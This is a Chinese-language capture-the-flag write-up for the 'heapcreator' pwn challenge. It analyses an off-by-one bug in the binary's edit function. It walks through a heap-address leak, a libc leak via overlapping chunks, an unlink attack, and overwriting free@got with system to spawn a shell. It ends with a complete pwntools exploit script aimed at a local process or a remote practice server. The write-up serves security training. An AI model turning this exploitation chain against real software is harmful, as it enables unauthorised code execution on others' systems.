hitcontraining_heapcreator

文件信息

$ file ./heapcreator./heapcreator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5e69111eca74cba2fb372dfcd3a59f93ca58f858, not stripped

$ checksec ./heapcreator
[*] '/mnt/hgfs/CTF/BUUCTF/Pwn/hitcontraining/hitcontraining_heapcreator/heapcreator'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

漏洞分析

本题目是一道常规的堆题,可用的基本功能有增删改查。

unsigned __int64 edit_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);                          //  
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[v1] )
  {
    printf("Content of heap : ", &buf);
    read_input(*((void **)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL);// off by one
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

容易看到在 edit 函数中存在 off-by-one 漏洞。于是可想到通过构造堆块重叠来泄露 libc 地址,在这之后, 又因为程序开启了 Partial RELRO 保护,所以 got 表的内容是可修改的。因此如果能将 free@got 的值修改为 __libc_system 的地址,再释放写入了 “/bin/sh\x00” 的 chunk,就可以执行 system(“/bin/sh”) 从而达到 get shell 的目的。

具体利用

  1. 泄露堆地址
  2. 泄露 libc 地址
  3. unlink
  4. 修改 free@got
  5. get shell

泄露堆地址

当原本的 node chunk 成为 content chunk 时,因为该 chunk 之前余留的数据尚未清除,所以可以通过程序的基本功能读出堆地址。

## leak heap address
add(0x10, "AAA")
add(0x20, "BBB")
delete(0)
delete(1)
add(0x10, "C" * 8) # 0
show(0)
io.recvuntil("C" * 8)
leak_heap_addr = u64(io.recv(4).ljust(8, '\x00'))
log.success("leak_heap_addr: " + hex(leak_heap_addr))

泄露 libc 地址

通过 off-by-one 简单构造堆块重叠,再将 libc 地址“挤”到可控区域内后读出。

## leak libc address
delete(0)
add(0x28, "DDD") # 0
add(0x68, "EEE") # 1
add(0x70, "FFF") # 2
add(0x20, "GGG") # 3
edit(0, "F" * 0x28 + '\xf1')
delete(1)
add(0x68, "HHH") 
show(2)
unsorted_bin_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
main_arena_addr = unsorted_bin_addr - 0x58
libc_base = main_arena_addr - 0x3c4b20
system_addr = libc_base + libc.sym['system']
log.success("The libc_base is " + hex(libc_base))
log.success("system_addr: " + hex(system_addr))

从 fake chunk 的 chunk header 开始伪造,利用 node chunk 中指向 content chunk 的指针 unlink

## unlink
p = leak_heap_addr + 0xd0
add(0x98, "qqq")
add(0x90, "ppp")
add(0x20, "ooo")
fake_chunk  = p64(0) + p64(0x91)
fake_chunk += p64(p) + p64(p + 0x8)
fake_chunk += "z" * 0x70
fake_chunk += p64(0x90) + '\xa0'
edit(4, fake_chunk)
delete(5)

修改 free@got

edit(4, p64(0) + p64(0x21) + p64(0x98) + p64(elf.got['free']))
log.success('free@got: ' + hex(elf.got['free']))
edit(4, p64(system_addr))
add(0x200, '/bin/sh\x00')
delete(5)

完整 exp:

from pwn import *
context.log_level = 'debug'

libc = ELF('/mnt/hgfs/CTF/Buuctf/libc/Ubuntu_16_64/libc-2.23.so')
elf = ELF('./heapcreator')

if args.G:
    io = remote('node3.buuoj.cn', 29279)
else:
    io = process('./heapcreator')

def add(size, content):
    io.sendafter("Your choice :", '1')
    io.sendafter("Size of Heap :", str(size))
    io.sendafter("Content of heap:", content)

def edit(index, content):
    io.sendafter("Your choice :", '2')
    io.sendafter("Index :", str(index))
    io.sendafter("Content of heap :", content)

def show(index):
    io.sendafter("Your choice :", '3')
    io.sendafter("Index :", str(index))

def delete(index):
    io.sendafter("Your choice :", '4')
    io.sendafter("Index :", str(index))

## leak heap address
add(0x10, "AAA")
add(0x20, "BBB")
delete(0)
delete(1)
add(0x10, "C" * 8) # 0
show(0)
io.recvuntil("C" * 8)
leak_heap_addr = u64(io.recv(4).ljust(8, '\x00'))
log.success("leak_heap_addr: " + hex(leak_heap_addr))

## leak libc address
delete(0)
add(0x28, "DDD") # 0
add(0x68, "EEE") # 1
add(0x70, "FFF") # 2
add(0x20, "GGG") # 3
edit(0, "F" * 0x28 + '\xf1')
delete(1)
add(0x68, "HHH") 
show(2)
unsorted_bin_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
main_arena_addr = unsorted_bin_addr - 0x58
libc_base = main_arena_addr - 0x3c4b20
system_addr = libc_base + libc.sym['system']
log.success("The libc_base is " + hex(libc_base))
log.success("system_addr: " + hex(system_addr))

## unlink
p = leak_heap_addr + 0xd0
add(0x98, "qqq")
add(0x90, "ppp")
add(0x20, "ooo")
fake_chunk  = p64(0) + p64(0x91)
fake_chunk += p64(p) + p64(p + 0x8)
fake_chunk += "z" * 0x70
fake_chunk += p64(0x90) + '\xa0'
edit(4, fake_chunk)
delete(5)

## hijack free@got
edit(4, p64(0) + p64(0x21) + p64(0x98) + p64(elf.got['free']))
log.success('free@got: ' + hex(elf.got['free']))
edit(4, p64(system_addr))
add(0x200, '/bin/sh\x00')
delete(5)

io.interactive()
2019-2020 @lukbash